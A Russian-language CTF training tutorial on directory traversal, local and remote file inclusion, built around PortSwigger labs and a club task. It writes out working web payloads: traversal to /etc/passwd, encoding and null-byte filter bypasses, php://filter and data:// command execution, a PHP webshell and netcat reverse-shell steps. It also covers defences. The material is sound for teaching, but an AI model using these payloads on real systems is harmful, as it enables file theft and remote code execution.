--- title: DT,LFI,RFI --- <div class="header__logo" >Вот они слева-направо: Directory Traversal, LFI и RFI! </div> <p> </p> <style> .header__logo { font-size: 30px; font-weight: 700; color: #270469; text-align: center; } </style> <style> .secret{ display: flex; margin-left: auto; margin-right: auto; width: 50%; } </style> <style> .secret__block{ background-color: #fff; display: block; max-width: 100%; height: auto; transition: opacity .8s linear; color: black; text-transform: uppercase; font-weight: 700; text-align: center; } </style> <style> .secret__block img{ opacity: 5; } </style> <style> .secret__block:hover { opacity: 2 ; } </style> <style> .secret__img { opacity: ; transition: transform 1.8s linear; } </style> <style> .secret__img img{ opacity: 0 ; transition: transform 1.8s linear; } </style> <style> .secret__img img: hover{ opacity: 5 ; transition: transform 1.8s linear; } </style> <style> .secret__img img { display: block; max-width: 100%; height: auto; transition: opacity 1.8s linear; } </style> <style> .secret__img:hover { opacity: 5 ; } </style> <style> .secret__inner { position: relative; background-color: #fff; } </style> <style> .secret__inner:hover .secret__img { transform: translate3d(-10px, -10px, 0); } </style> <style> .secret__inner img:hover { opacity: 0; transition: opacity 2s linear; } </style> <style> .secret__inner img { transition: opacity 2s linear; } </style> <style> .secret__inner:hover .secret__img img { opacity: 1; } </style> ![](https://i.imgur.com/xDM9RMe.png) <div class="TOC" > Содержание: <p> </p> </div> <style> .TOC { font-size: 26px; font-weight: 550; color: #270469; text-align: left; </style> > [TOC] --- # Вводная часть Приветствую вас, сегодня мы будем проходить 3 очень похожие баги, а именно: 1) Directory Traversal (порой её также называют Path Traversal). 2) Local File inclusion (LFI). 3) Remote File inclusion (RFI). Посмотрим, что они из себя представляют, чтобы вы прибавили 100 очков к интеллекту и не путали эти баги:) В качестве лаб я буду юзать [PortSwigger для Directory Traversal](https://portswigger.net/web-security/file-path-traversal), и таски ([1](https://gitlab.com/mctf/training-02.2023/-/tree/main/WEB/CTF-WIKI) и [2](https://gitlab.com/mctf/training-02.2023/-/tree/main/WEB/CTF-WIKIv2)) [@i_013K](https://t.me/i_013k), которые были на тренировке в конце февраля. --- # Из чего обычно состоит веб-приложение Как мы знаем, веб-сайты состоят в наше время из большого количества компонентов: сам HTML-документ с вёрсткой, css-файлы для задания различных стилей, возможно js-файлы, благодаря которым сайт может делать запросы и взаимодействовать с пользователям(например выводя подсказки а как правильно вводить данные в поле email), возможно элементы php(чтобы делать сайт динамичнее, взаимодействовать с БД, совершать загрузки файлов). Помимо этого есть и другие компоненты: картинки, видео и др. ![](https://i.imgur.com/dC72feJ.png) Большинство этих компонентов обрабатывается сервером и потом отправляется браузеру. И тут важный момент: все эти элементы потом включаются в HTML-документ различными способами. То есть, нам не нужно отдельно читать текст в HTML, а потом получать нужную полученную картинку, чтобы увидеть, а про что говорилось в том абзаце. Нет, мы просто получаем все файлы и видим/взаимодействуем с ними через HTML'ку. Давайте разберём а как обычно всё это добро "вкладывается" в HTML-документ --- # Как обычно включают файлы в HTML-документ ## Статичное **В качестве примера возьмём картинки.** Предположим, что некий разработчик решил сделать главную страницу своего сайта примерно такого вида: ![](https://i.imgur.com/qay1bof.png) Как мы видим, на ней есть изображения и какая-то вёрстка. Он, соответственно, сделал HTML-документ, в котором расположил все элементы как надо, сделал css-файл, с помощью которого "придал красок" сайту, и откуда-то добыл нужные изображения для сайта и положил их в директорию `/var/www/images/`. Как вы понимаете, различные картинки/файлы не находятся изначально в HTML-коде, а они загружаются извне, та же папка images. И чтобы показать HTML'ке, что потом после рендеринга должна быть картинка, или что нужно также использовать js/css из других файлов, нужно использовать теги. Например, тег img встраивает изображение в документ: ```<img width="100%" height="300" src="/home/arroiz/images/someImage.png" />``` И вот, разработчик внедрил в HTML-документ всё, что нужно, настроил сервер, поднял его, и сайт начал функционировать. Через время появился человек, который сделал HTTP-запрос на сервер с целью получить главную страницу. Сервер запрос получает и перенаправляет запрос на дальнейшую обработку к программе-обработчику — например, PHP, фреймворку Flask, Ruby или ASP.NET. Программа внимательно изучает содержимое запроса — например, понимает, в каком формате нужно отправить ответ и какие именно файлы нужны(то есть, надо вернуть html, но html в свою очередь должен содержать и картинки, так что помимо неё нужно ещё отправить определённые картинки из `/var/www/images/`). Программа собирает всё, что нужно, передаёт результат серверу, а сервер передаёт результат уже браузеру пользователя. Браузер распаковывает полученный ответ и постепенно начинает отображать полученный контент на экране пользователя. У вас может возникнуть вопрос: а зачем всё это было рассказано? Ну, в моём ответе есть 2 пункта: 1) Вы повторили основы, а это всегда полезно:) 2) Вы теперь имеете представление о том, как на сервере происходит процесс отбора нужных файлов, которые нужно отправить в ответе пользователю. Мы рассмотрели по сути как статично задать то, какие файлики нужно отправить, а что если выборка файлов будет происходить динамично? ## Динамичное Рассмотрим приложение для покупок, которое отображает изображения товаров для продажи. Изображения загружаются через HTML-тег, как показано ниже: `<img src="/loadImage?filename=218.png">` В качестве источника изображения у нас указан маршрут `/loadImage` с параметром filename. Он принимает и возвращает содержимое указанного файла. Сами файлы изображений хранятся на диске в папке `/var/www/images/`. Чтобы вернуть изображение, приложение добавляет запрошенное имя файла к этому базовому каталогу и использует API файловой системы для чтения содержимого файла. В приведенном выше случае приложение читает из следующего пути к файлу: `/var/www/images/218.png` И в этом не было ничего такого, ну обратывает приложенька пользовательский ввод(значение параметра filename, которое мы можем контролировать) и пусть обрабатывает. Однако, давайте вспомним вот такую интересную штучку: Как мы помним, чтобы вернуться в родительскую директорию в терминале(linux, windows, mac os) мы можем использовать `../`. Так вот, такой приём также можно спокойно использовать не только в терминале, но и в той же HTML'ке или в HTTP-запросе, вместо того же 218.png можно указать `../../../../../../../../../etc/passwd` и получить не картинку, а информацию об существующих пользователях на сервере, где приложенька работает. :::info **Справочка** Используя `../../../../../../../../../` в примере выше я как бы вышел из папки images, потом из www, потом из var, а потом ещё несколько "подъёмов" вверх, чтобы точно попасть в корневую папку. После я перешёл в директорию etc и попросил мне выдать файлик passwd. ![](https://i.imgur.com/hAgDYEo.png) ::: Теперь, после того как вы ознакомились с базой и поняли, что из себя представляет Directory Traversal, предлагаю наконец к ней перейти! --- # Directory Traversal :::warning **Обход каталога** — это уязвимость, которая позволяет злоумышленнику читать произвольные файлы на сервере, на котором запущено приложение. Это может включать код приложения и данные, учетные данные для серверных систем и конфиденциальные файлы операционной системы. Обычно здесь задействована комбинация из `../`, чтобы выйти из начальной папки и попасть в ту директорию, которая содержит "интересные" для нас файлы. ::: Причём, чтобы переходить на один уровень вверх в Windows можно использовать и `../` и `..\`, это следует запомнить! ```https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini``` ## Как обойти различные защиты, мешающие исполнить Directory Traversal? Естественно, в реальной жизни не всё так просто, и разработчики могут попытаться защитить своё приложение от данной уязвимости, используя различные методы, которые можно обойти, давайте ознакомимся с ними! ### Использование абсолютного пути :::info **Лабораторная**: https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass ::: Если приложение удаляет или блокирует последовательности обхода каталога из имени файла, предоставленного пользователем, то можно обойти защиту, используя абсолютный путь от корня файловой системы, например `filename=/etc/passwd`, для прямой ссылки на файл без использования каких-либо последовательностей обхода. **ПРИМЕР** Не катит, так как есть проверка на последовательность обхода: ![](https://i.imgur.com/PZLnkTj.png) Использования абсолютного пути без обходов: ![](https://i.imgur.com/5kLtZL5.png) ### Использование вложенных последовательностей обхода каталогов :::info **Лабораторная**: https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively ::: Если приложение удаляет или блокирует последовательности обхода каталога из имени файла, предоставленного пользователем, и при этом нельзя использовать абсолютный путь, то можно обойти защиту, используя вложенные последовательности обхода, такие как `....//` или `....\/`, которые вернутся к простым последовательностям обхода при удалении внутренней последовательности, проще говоря, это альтернатива для `../` **ПРИМЕР** Не катит, так как есть проверка на последовательность обхода: ![](https://i.imgur.com/x06a6Zu.png) Не катит, так как есть проверка на абсолютный путь: ![](https://i.imgur.com/yauK5AE.png) Использование вложенных последовательностей обхода: ![](https://i.imgur.com/k5cCKDw.png) ### URL-кодировка :::info **Лабораторная**: https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode ::: В некоторых контекстах, таких как URL-адрес или параметр filename запроса multipart/form-data, веб-серверы могут удалять любые последовательности обхода каталога перед передачей нашего ввода в приложение(то есть ни одно из перечисленных ранее методов не работает). Иногда можно обойти этот вид очистки с помощью кодирования URL-адресов или даже двойного кодирования URL-адресов, например, символов ../, что приводит к %2e%2e%2f или %252e%252e%252f соответственно. ![](https://i.imgur.com/JscYfWw.png) Можно также использовать различные нестандартные кодировки, такие как ..%c0%af или ..%ef%bc%8f. **ПРИМЕР** Вот картинки, благодаря которым можно понять, что ни один из перечисленных ранее методов больше не работает: ![](https://i.imgur.com/q6sP1tM.png) ![](https://i.imgur.com/v5MRTb8.png) ![](https://i.imgur.com/tAPSKlH.png) А вот что будет, если мы закодируем в URL нашу полезную нагрузку(2 раза закодируем): ![](https://i.imgur.com/B7NvrjZ.png) ### Обход проверки начала пути :::info **Лабораторная**: https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path ::: Если приложение требует, чтобы имя файла, заданное пользователем, начиналось с ожидаемой базовой папки, например /var/www/images, то можно включить требуемую базовую папку, за которой следуют подходящие последовательности обхода. Например: `filename=/var/www/images/../../../etc/passwd` Тут думаю вы сами сможете решить эту лабу, она простая! ### Обход проверки расширения файла :::info **Лабораторная**: https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass ::: Если приложение требует, чтобы введенное пользователем имя файла заканчивалось ожидаемым расширением файла, например .png, то можно использовать нулевой байт для того, чтобы опустить всё, что идёт дальше вместе с `.`(.png, .jpg ...). Например: `filename=../../../etc/passwd%00.png` :::warning Тут %00 - это и есть нулевой байт, закодированный в URL. Его можно сравнить со знаком комментария в ЯП или в SQL-запросах, то есть, всё, что идёт после него - не учитывается. Таким образом, в запросе в конце есть нужное расширение, но когда дело дойдёт до того, чтобы получить файл, исходное `filename=../../../etc/passwd%00.png` преобразуется в `filename=../../../etc/passwd`. ::: ## Как исправить данную уязвимость? Самый эффективный способ предотвратить уязвимости, связанные с обходом пути к файлу, — полностью отказаться от передачи пользовательского ввода в API файловой системы. Многие прикладные функции, которые делают это, можно переписать, чтобы обеспечить то же самое поведение более безопасным способом. То есть, мы не должны пользовательский ввод "вкладывать" в путь к файлу, чтобы не было такого: 1) Приложение получает пользовательский ввод, например ../../../../../../etc/passwd 2) Приложение получает путь к папке с картинками - /var/www/images 3) Приложение соединяет путь к папке с пользовательским вводом - /var/www/images/../../../../../../etc/passwd 4) В итоге в HTML выходит что-то типа такого: `<img src="/var/www/images/../../../../../../etc/passwd"/>`. Если же передача пользовательского ввода в API файловой системы считается неизбежной, то для предотвращения атак следует использовать вместе два уровня защиты: 1) Приложение должно проверять ввод пользователя перед его обработкой. В идеале проверка должна сравниваться с белым списком разрешенных значений. Если это невозможно для требуемой функциональности, то при проверке следует убедиться, что входные данные содержат только разрешенный контент, например чисто буквенно-цифровые символы. То есть, можно использовать различные проверки в коде, например, на наличие ../ 2) После проверки предоставленных входных данных приложение должно добавить входные данные в базовый каталог и использовать API файловой системы платформы для канонизации пути. Он должен убедиться, что канонизированный путь начинается с ожидаемого базового каталога. Ниже приведен пример простого кода Java для проверки канонического пути к файлу на основе пользовательского ввода: ``` File file = new File(BASE_DIRECTORY, userInput); if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { // process file } ``` ## Всё? И тут можно было бы поставить жирную точку и закончить этот топик, но.. Есть один такой момент=) Directory Traversal это лишь подмножество другой баги, и эта бага уже называется совсем по-другому и умеет она не только читать файлы! --- # Что такое LFI и RFI, и почему они так похожи на Directory Traversal ![](https://i.imgur.com/htgwueT.png) На схеме выше вы можете увидеть, что Directory Traversal - это лишь часть уязвимости Local File Inclusion, а она в свою очередь принадлежит уязвимости File inclusion. Давайте разберёмся, что такое File Inclusion и на что он делится! :::warning **Для начала давайте резберёмся с Directory Traversal:** Уязвимость Path Traversal позволяет злоумышленнику получить доступ к файлу, обычно используя механизм «чтения», реализованный в целевом приложении. *С помощью этой уязвимости мы можем читать файлы!* **А теперь, что такое File Inclusion:** Уязвимость File Inclusion(включение файла) позволяет злоумышленнику "включить" файл в ответ, обычно используя механизмы «динамического включения файлов», реализованные в целевом приложении. *Если файл, который мы включаем в ответ, нельзя исполнить(так как его расширение веб-сервер не исполняет), то по сути мы просто получим его содержимое как в Directory Traversal, а вот если сервер настроен на исполнение файлов с таким расширением, то мы можем этот файл запустить, таким образом заставив, например, сервер исполнять зловредные скрипты!* ::: А теперь давайте по порядку! --- # Как использовать LFI Давайте в качестве примера возьмём таск Саши (@i_013K) с тренировки, которая была в феврале и просто запустим его, после чего зайдём на сайтик. Зайдя на страницу мы видим шапку, в которой есть разделы сайта, кликая на каждый раздел у нас меняется только основная часть сайта, а всё остальное остаётся таким же: ![](https://i.imgur.com/oH00oSj.png) ![](https://i.imgur.com/ogdBWYO.png) ![](https://i.imgur.com/QV2v8sr.png) Также стоит обратить внимание, что при смене каждого раздела меняется и URL сайта: ![](https://i.imgur.com/Y1DlVVM.png) ![](https://i.imgur.com/nR1Rpyy.png) А что это за файлы такие, которые изменяются? Давайте глянем в код: ![](https://i.imgur.com/xANI2im.png) 1) В папке с основными файлами у нас есть 5 мини HTML-файлов и один главный php-файл, который потом будет преобразован(после выполнения всего php-кода) в HTML на сервере и отдан именно HTML'кой клиенту. 2) Те самые ссылки в шапке, которые перекидывают то на ?file=1,2,3... Но это до сих пор не отвечает на вопрос, как изменяется контент сам, так как php страница тут одна, а отдельные мини html-файлы не годны для отдельного использования, так как они из себя представляют что-то такое: ![](https://i.imgur.com/ZOSrYaL.png) 3) Раз мини HTML-файлы не могут быть использованы отдельно, но мы их видим на сайте, значит они куда-то ВКЛЮЧАЮТСЯ, и вот тут как раз вступает в игру мини php-код почти в самом низу: ``` <?php if(isset($_GET['file'])) { include($_GET['file']);}?> ``` :::info **Функция Include в PHP:** На самом деле любой разрабатываемый ресурс не может поместится на одной странице, так как современный сайт состоит из десятков страниц, связанных между собой. Все файлы проекта можно сравнить с вагонами поезда. При необходимости можно убрать лишний, а при нехватке – удлинить «программный» состав еще на один. Для «сцепки» файлов используется функция **include** в PHP. Именно благодаря этой функции мы включаем контент мини HTML-файлов в наш php-файл! То есть, мы можем создать 1 шаблон, и в него внедрять другие части, как это и сделано в таске. Шапка и прочее те же, а вот основной контент меняется в зависимости от страницы. ::: :::warning **Перед тем как продолжить я хочу разъяснить вот какой момент, он связан опять с базой по вебу, но его стоит упомянуть, так как дальше он сыграет важную роль:** Как мы видим, в таске есть **1** php-файл, и сколько-то там HTML-файлов. И тут у многих может встать вопрос: - А как так получилось, что тут основная страница в php, в которую внедряются html-ки, а по факту нам приходит один единый **HTML** файл? Смотрите, я это упоминал раньше здесь "Сервер запрос получает и перенаправляет запрос на дальнейшую обработку к программе-обработчику — например, PHP, фреймворку Flask, Ruby или ASP.NET". И сейчас мы раскроем это предложение. Обычно сервер может как просто вернуть клиенту какой-то статичный файл(допустим просто обычную HTML'ку, картинку и тд), а может получить запрос на такой файл, который надо сначала **ОБРАБОТАТЬ**, и вот файл с расширением .php - один из таких файлов. Например, в таске у нас есть php-файл, который запрашивает пользователь, точнее он запрашивает не его, а главную страницу, но по факту это одно и тоже. Сервер, который настроен на исполнение .php файлов, дальше выясняет, что пользователь запросил как раз-таки этот файлик и видит, что этот файлик, грубо говоря, сырой, так как надо сначала выполнить весь php-код в нём. Для этого он передаёт данный php-файл с параметрами запроса программе-обработчику, в нашем случае это PHP. Дальше этот php, получив всё это, подставляем, если надо, что-то в этот файлик, а потом преобразует его в **HTML** и передаёт уже именно **его** веб-серверу. А веб-сервер передаёт уже готовый HTML пользователю. Что сейчас произошло, если кратко: Сервер настроен на то, чтобы **исполнять** php-файлы, и чтобы их исполнять он передаёт всё, что нужно для этого PHP'шке. После чего он результат исполнения возвращает пользователю. ::: Так, вернёмся к коду: ``` <?php if(isset($_GET['file'])) { include($_GET['file']);}?> ``` Если разорбрать, что делает тут php-код, то получится следующее: 1) Если есть в запросе параметр file с каким-то значением, то выполняется следующий пункт, в противном случае этот php-код как бы исчезает, файл конвертируется в HTML и отдаётся пользователю. 2) Если всё же есть параметр file, то нужно вернуть такой файлик, который указан в значении параметра, т.е. если значение это 2, то нужно вернуть вернуть файл с именем 2(это как раз мини html'ka, хотя по факту это что угодно может быть, оно всё равно встроится в HTML и теги внутри просто будут как теги для HTML). А под словом вернуть имеется в виду, что в **это** конкретное место в коде "внедриться" этот мини html-файл. А потом этот php-файл конвертнётся в HTML(и весь php-код из него исчезнет) и этот HTML'ка вернётся пользователю. ![](https://i.imgur.com/wAgUGwz.png) И в чём тут уязвимость, и зачем мы всё это разбирали? Да всё просто, тут есть LFI, и она тут есть, так как веб-приложение включает файл без правильной очистки ввода, что позволяет злоумышленнику манипулировать вводом и вводить символы обхода пути, а также включать другие файлы с того же веб-сервера. И по сути мы можем тут провернуть тот же Directory Traversal! ![](https://i.imgur.com/s7Kpfjg.png) Но так как тут именно LFI, мы можем не только читать файлы, но и исполнять команды, так как напоминаю о том, что было выше, веб-сервер может и порой должен исполнять некоторые файлы, и в данном случае тут исполняется php-код, а это значит мы можем сделать вредоноснгую нагрузку, связанную с php, чтобы например просмотреть путь до дериктории, в которой мы находимся: ![](https://i.imgur.com/40pdzrd.png) И в результате нам "включится" в HTML файл вывод команды pwd! Давайте ознакомимся со всеми возможностями LFI, чтобы у вас сложилось полное представление по ней: ## Чтение исполняемых файлов Если есть LFI, то можно спокойно читать те файлы, которые не исполняемые, так как при попытке прочитать исполняемые файлы веб-сервер просто исполнит файл и вернёт результат, таким образом вы например не увидите секретные креды в php-файле. Однако это ограничение можно обойти с помощью встроенного php-фильтра. ``` php://filter ``` Можно прочитать содержимое исполняемого файла закодиров его в base64, используя следующую полезную нагрузку: ``` vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd ``` ![](https://i.imgur.com/aDeixof.png) ![](https://i.imgur.com/wG57ib3.png) А можно и без кодирования в base64: `?page=php://filter/resource=/etc/passwd` Картинок тут не будет, так как таск слегка ломается, но иногда вообщем и так можно:) Поэтому многое зависит от конфигурации!!! ## Выполнение команд ОС С помощью LFI, как я показывал ранее, можно выполнять команды в ОС. Для этого есть 2 полезные нагрузки: ``` php?page=expect://ls (модуль PHP expect не включен по умолчанию) ``` Если URL-адрес включает =on в конфигурацию php.ini, мы можем легко выполнять команды ОС и получать обратную оболочку по data://text/plain, ``` data://text/plain,<?php%20system($_GET[%27cmd%27])%20?>&cmd=whoami ``` ![](https://i.imgur.com/xnCVQGe.png) ## Обратная оболочка от LFI Вообще, такое не приветствуется на стф:) Но пару вещей скажу. Вообще есть 2 способа сделать обратную оболочку: 1) С помощью data://. Вы используете `data://text/plain, + php-код для обратного ревёрса` и netcat, чтобы включить порты для прослушивания `nc -lvp 1234`. Сначала второе делаете, а потом первое, и вот вы получили обратную оболочку! 2) Отравление логов. Тут советую ознакомиться с [ЭТИМ](https://effortlesssecurity.in/2021/08/01/lfi-rfi-from-basic-to-advance/) сайтом, тут всё подробно расписано! --- # Как использовать RFI :::warning Используя **LFI**, злоумышленник может **получить** файлы с локального сервера, а также **выполнить** файлы локального сервера. Используя **RFI**, злоумышленник может **запускать** файлы с удаленного сервера. ::: Помимо того, что исполнять файлы можно локально, это также можно сделать и удалённо. Т.е. мы можем сделать зловредный скриптик где-нибудь на гитхабе и заставить сервер его исполнить! ## Чтение файлов и команды ОС 1) Создать txt или php файл со следующим содержимым: `<?php system($_GET['cmd']) ?>` 2) Загрузить этот файл с вашего источника, исполняя команды ОС через параметр cmd: ![](https://i.imgur.com/3d4fzGj.png) ![](https://i.imgur.com/Kw3ZOjp.png) ![](https://i.imgur.com/lZAhNLI.png) ![](https://i.imgur.com/VTY5Uku.png) ## Reverse shell из-под RFI Опять-таки не буду вам тут показывать эти гадости, но быстро пройдусь по пунктам: 1) создать файл с расширением txt или php с reverse shell'ом в гит тот же 2) подтянуть этот файл как в примере выше 3) получить оболочку и огрести люлей --- # Домашка(по желанию) Ну чтож, вот топик и подошёл к концу, предлагаю вам выполнить следующую домашку, чтобы закрепить материал: 1) Прорешать [раздел Directory Traversal](https://portswigger.net/web-security/file-path-traversal) в PortSwigger'e, он там простой! 2) Сказать, что ещё можно сделать с LFI/RFI. 3) Как исправить LFI/RFI. 4) Какие есть ограничения и моменты, которые следует помнить? И на этом всё, спасибо вам, что дочитали данный топик, надеюсь вам было интересно и понятно! Если есть вопросы - пишите в тг @ArroizX ![](https://i.imgur.com/dS3tHK8.jpg)